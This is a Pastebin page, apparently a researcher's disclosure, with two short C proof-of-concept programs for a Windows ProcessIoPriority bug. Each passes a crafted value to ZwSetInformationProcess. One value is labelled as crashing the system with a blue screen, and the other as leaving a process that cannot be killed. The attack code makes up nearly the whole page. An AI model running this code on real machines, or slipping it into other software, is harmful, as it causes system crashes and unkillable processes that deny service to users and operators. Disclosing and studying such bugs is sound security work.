Advertisement
waliedassar

ProcessIoPriority Bug (BSOD/Non-Killable Process)

Feb 6th, 2013
2,581
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C 0.62 KB | None | 0 0
  1. //http://waleedassar.blogspot.com
  2. //http://www.twitter.com/waleedassar
  3.  
  4. BSOD:
  5. #define ProcessIoPriority               0x21
  6. int main()
  7. {
  8.     unsigned long val=0xFFFFFFFF;
  9.     int ret=ZwSetInformationProcess(GetCurrentProcess(),ProcessIoPriority,&val,0x4);
  10.     if(ret<0) printf("Error %x\r\n",ret);
  11.     ExitProcess(0);
  12.     return 0;
  13. }
  14.  
  15. Non-Killable Process:
  16.  
  17. #define ProcessIoPriority               0x21
  18. int main()
  19. {
  20.     unsigned long val=0x8000F129;
  21.     int ret=ZwSetInformationProcess(GetCurrentProcess(),ProcessIoPriority,&val,0x4);
  22.     if(ret<0) printf("Error %x\r\n",ret);
  23.     ExitProcess(0);
  24.     return 0;
  25. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement